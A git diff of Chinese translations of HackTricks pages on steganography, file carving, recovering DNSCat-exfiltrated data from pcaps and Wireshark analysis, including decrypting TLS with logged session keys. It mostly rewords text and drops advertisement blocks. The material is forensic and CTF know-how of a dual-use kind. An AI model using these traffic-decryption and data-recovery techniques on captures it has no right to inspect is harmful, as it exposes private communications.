* [EPFL 演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [GitHub 上的 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy 用于音频和图像文件**
|
||||
### **Stegpy for Audio and Image Files**
|
||||
|
||||
Stegpy 允许将信息嵌入图像和音频文件中,支持 PNG、BMP、GIF、WebP 和 WAV 等格式。可在[GitHub](https://github.com/dhsdshdhk/stegpy)上找到。
|
||||
Stegpy 允许将信息嵌入图像和音频文件,支持 PNG、BMP、GIF、WebP 和 WAV 等格式。它可在 [GitHub](https://github.com/dhsdshdhk/stegpy) 上获取。
|
||||
|
||||
### **Pngcheck 用于 PNG 文件分析**
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
要分析 PNG 文件或验证其真实性,请使用:
|
||||
要分析 PNG 文件或验证其真实性,请使用:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **图像分析的附加工具**
|
||||
### **额外的图像分析工具**
|
||||
|
||||
要进行进一步探索,请考虑访问:
|
||||
进一步探索,请考虑访问:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [图像误差级别分析](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **从音频中提取数据**
|
||||
|
||||
**音频隐写术** 提供了一种在声音文件中隐藏信息的独特方法。不同的工具被用于嵌入或检索隐藏内容。
|
||||
**音频隐写术**提供了一种独特的方法,将信息隐藏在声音文件中。使用不同的工具来嵌入或检索隐藏的内容。
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide 是一个多功能工具,旨在将数据隐藏在 JPEG、BMP、WAV 和 AU 文件中。详细说明请参阅[隐写技巧文档](stego-tricks.md#steghide)。
|
||||
Steghide是一个多功能工具,旨在将数据隐藏在JPEG、BMP、WAV和AU文件中。详细说明请参见[隐写技巧文档](stego-tricks.md#steghide)。
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
该工具兼容多种格式,包括 PNG、BMP、GIF、WebP 和 WAV。有关更多信息,请参阅[Stegpy 的部分](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
该工具兼容多种格式,包括PNG、BMP、GIF、WebP和WAV。有关更多信息,请参阅[Stegpy的部分](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg 对于评估音频文件的完整性至关重要,突出显示详细信息并指出任何差异。
|
||||
ffmpeg对于评估音频文件的完整性至关重要,突出详细信息并指出任何差异。
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg在使用最低有效位策略在WAV文件中隐藏和提取数据方面表现出色。它可在[GitHub](https://github.com/ragibson/Steganography#WavSteg)上找到。命令包括:
|
||||
WavSteg 擅长使用最低有效位策略在 WAV 文件中隐藏和提取数据。它可以在 [GitHub](https://github.com/ragibson/Steganography#WavSteg) 上获取。命令包括:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound允许使用AES-256在声音文件中加密和检测信息。可从[官方页面](http://jpinsoft.net/deepsound/download.aspx)下载。
|
||||
Deepsound 允许使用 AES-256 对声音文件中的信息进行加密和检测。可以从 [官方页面](http://jpinsoft.net/deepsound/download.aspx) 下载。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Sonic Visualizer是一款无价的工具,用于对音频文件进行视觉和分析检查,可以揭示其他方法无法检测到的隐藏元素。访问[官方网站](https://www.sonicvisualiser.org/)了解更多信息。
|
||||
Sonic Visualizer 是一个用于音频文件的视觉和分析检查的宝贵工具,可以揭示其他方法无法检测到的隐藏元素。有关更多信息,请访问 [官方网站](https://www.sonicvisualiser.org/)。
|
||||
|
||||
### **DTMF Tones - 拨号音**
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
可以通过在线工具如[此DTMF检测器](https://unframework.github.io/dtmf-detect/)和[DialABC](http://dialabc.com/sound/detect/index.html)来检测音频文件中的DTMF音调。
|
||||
通过在线工具,如 [这个 DTMF 检测器](https://unframework.github.io/dtmf-detect/) 和 [DialABC](http://dialabc.com/sound/detect/index.html),可以检测音频文件中的 DTMF 音调。
|
||||
|
||||
## **其他技术**
|
||||
## **Other Techniques**
|
||||
|
||||
### **二进制长度平方根 - QR码**
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
平方为整数的二进制数据可能代表一个QR码。使用以下代码片段进行检查:
|
||||
平方为整数的二进制数据可能表示 QR 码。使用此代码片段进行检查:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
对于二进制到图像的转换,请查看 [dcode](https://www.dcode.fr/binary-image)。要读取二维码,请使用 [this online barcode reader](https://online-barcode-reader.inliteresearch.com/)。
|
||||
|
||||
### **盲文翻译**
|
||||
|
||||
要进行盲文翻译,请使用[Branah盲文翻译器](https://www.branah.com/braille-translator)这一优秀资源。
|
||||
对于盲文翻译,[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个很好的资源。
|
||||
|
||||
## **参考资料**
|
||||
## **参考文献**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard安全团队**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 雕刻与恢复工具
|
||||
|
||||
更多工具请访问 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -61,7 +53,7 @@ scalpel file.img -o output
|
|||
|
||||
这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
这个工具可以扫描一个镜像并**提取其中的pcaps**,**网络信息(URLs、域名、IP、MAC、邮件)**以及更多**文件**。你只需执行:
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IP,MAC,邮件)**以及更多**文件**。你只需执行:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -105,12 +97,6 @@ BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。
|
|||
您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\
|
||||
您可以使用Linux命令行工具**pdftotext**将PDF转换为文本并阅读。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -120,7 +106,7 @@ BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 雕刻与恢复工具
|
||||
|
||||
更多工具请访问 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -61,7 +53,7 @@ scalpel file.img -o output
|
|||
|
||||
这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IP,MAC,邮件)**以及更多**文件**。你只需执行:
|
||||
这个工具可以扫描一个镜像并将**pcaps**提取出来,**网络信息(URLs、域名、IPs、MACs、邮件)**以及更多**文件**。你只需执行:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -77,7 +69,7 @@ bulk_extractor memory.img -o out_folder
|
|||
|
||||
### binvis
|
||||
|
||||
检查[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
|
||||
查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
|
||||
|
||||
#### BinVis的特点
|
||||
|
||||
|
@ -105,12 +97,6 @@ BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。
|
|||
您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\
|
||||
您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并阅读。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -120,8 +106,8 @@ BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,11 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
如果你有包含 **通过 DNSCat 外泄的数据**(未使用加密)的 pcap 文件,你可以找到外泄的内容。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
如果您有 pcap 文件,其中数据被 **DNSCat** **外泄**(未使用加密),您可以找到外泄的内容。
|
||||
|
||||
您只需知道 **前 9 个字节** 不是实际数据,而是与 **C\&C 通信** 相关:
|
||||
你只需要知道 **前 9 个字节** 不是实际数据,而是与 **C\&C 通信** 相关:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Wireshark tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,21 +15,8 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 提升您的 Wireshark 技能
|
||||
## 提升你的 Wireshark 技能
|
||||
|
||||
### 教程
|
||||
|
||||
|
@ -44,49 +31,49 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
**专家信息**
|
||||
|
||||
点击 _**分析** --> **专家信息**_,您将获得 **分析** 的数据包的 **概述**:
|
||||
点击 _**分析** --> **专家信息**_ 你将获得一个 **概述**,了解在 **分析** 的数据包中发生了什么:
|
||||
|
||||
![](<../../../.gitbook/assets/image (256).png>)
|
||||
|
||||
**已解析地址**
|
||||
|
||||
在 _**统计信息 --> 已解析地址**_ 下,您可以找到 Wireshark "**解析**" 的多条 **信息**,如端口/传输到协议、MAC 到制造商等。了解通信中涉及的内容是很有趣的。
|
||||
在 _**统计 --> 已解析地址**_ 下,你可以找到 Wireshark "已解析" 的多种 **信息**,如端口/传输到协议、MAC 到制造商等。了解通信中涉及的内容是很有趣的。
|
||||
|
||||
![](<../../../.gitbook/assets/image (893).png>)
|
||||
|
||||
**协议层次**
|
||||
|
||||
在 _**统计信息 --> 协议层次**_ 下,您可以找到通信中涉及的 **协议** 及其相关数据。
|
||||
在 _**统计 --> 协议层次**_ 下,你可以找到通信中涉及的 **协议** 及其相关数据。
|
||||
|
||||
![](<../../../.gitbook/assets/image (586).png>)
|
||||
|
||||
**对话**
|
||||
|
||||
在 _**统计信息 --> 对话**_ 下,您可以找到通信中的 **对话摘要** 及其相关数据。
|
||||
在 _**统计 --> 对话**_ 下,你可以找到通信中的 **对话摘要** 及其相关数据。
|
||||
|
||||
![](<../../../.gitbook/assets/image (453).png>)
|
||||
|
||||
**端点**
|
||||
|
||||
在 _**统计信息 --> 端点**_ 下,您可以找到通信中的 **端点摘要** 及其相关数据。
|
||||
在 _**统计 --> 端点**_ 下,你可以找到通信中的 **端点摘要** 及其相关数据。
|
||||
|
||||
![](<../../../.gitbook/assets/image (896).png>)
|
||||
|
||||
**DNS 信息**
|
||||
|
||||
在 _**统计信息 --> DNS**_ 下,您可以找到捕获的 DNS 请求的统计信息。
|
||||
在 _**统计 --> DNS**_ 下,你可以找到捕获的 DNS 请求的统计信息。
|
||||
|
||||
![](<../../../.gitbook/assets/image (1063).png>)
|
||||
|
||||
**I/O 图**
|
||||
|
||||
在 _**统计信息 --> I/O 图**_ 下,您可以找到 **通信图**。
|
||||
在 _**统计 --> I/O 图**_ 下,你可以找到 **通信图**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (992).png>)
|
||||
|
||||
### 过滤器
|
||||
|
||||
在这里,您可以根据协议找到 Wireshark 过滤器:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
在这里你可以找到根据协议的 Wireshark 过滤器:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
其他有趣的过滤器:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
|
@ -98,7 +85,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### 搜索
|
||||
|
||||
如果您想在会话的 **数据包** 中 **搜索** **内容**,请按 _CTRL+f_。您可以通过右键单击并编辑列来向主信息栏(编号、时间、源等)添加新层。
|
||||
如果你想在会话的 **数据包** 中 **搜索** **内容**,请按 _CTRL+f_。你可以通过右键单击并编辑列来添加新的层到主信息栏(编号、时间、源等)。
|
||||
|
||||
### 免费 pcap 实验室
|
||||
|
||||
|
@ -106,7 +93,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
## 识别域名
|
||||
|
||||
您可以添加一个显示 Host HTTP 头的列:
|
||||
你可以添加一个显示 Host HTTP 头的列:
|
||||
|
||||
![](<../../../.gitbook/assets/image (639).png>)
|
||||
|
||||
|
@ -118,7 +105,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### 从 DHCP
|
||||
|
||||
在当前的 Wireshark 中,您需要搜索 `DHCP` 而不是 `bootp`
|
||||
在当前的 Wireshark 中,你需要搜索 `DHCP` 而不是 `bootp`
|
||||
|
||||
![](<../../../.gitbook/assets/image (1013).png>)
|
||||
|
||||
|
@ -146,7 +133,7 @@ Firefox 和 Chrome 都具有记录 TLS 会话密钥的能力,这可以与 Wire
|
|||
|
||||
![](<../../../.gitbook/assets/image (820).png>)
|
||||
|
||||
要在 Wireshark 中导入此内容,请转到 _edit > preference > protocol > ssl > 并将其导入 (Pre)-Master-Secret 日志文件名:
|
||||
要在 Wireshark 中导入此文件,请转到 _edit > preference > protocol > ssl > 并将其导入 (Pre)-Master-Secret 日志文件名:
|
||||
|
||||
![](<../../../.gitbook/assets/image (989).png>)
|
||||
|
||||
|
@ -179,28 +166,16 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# 数据泄露
|
||||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
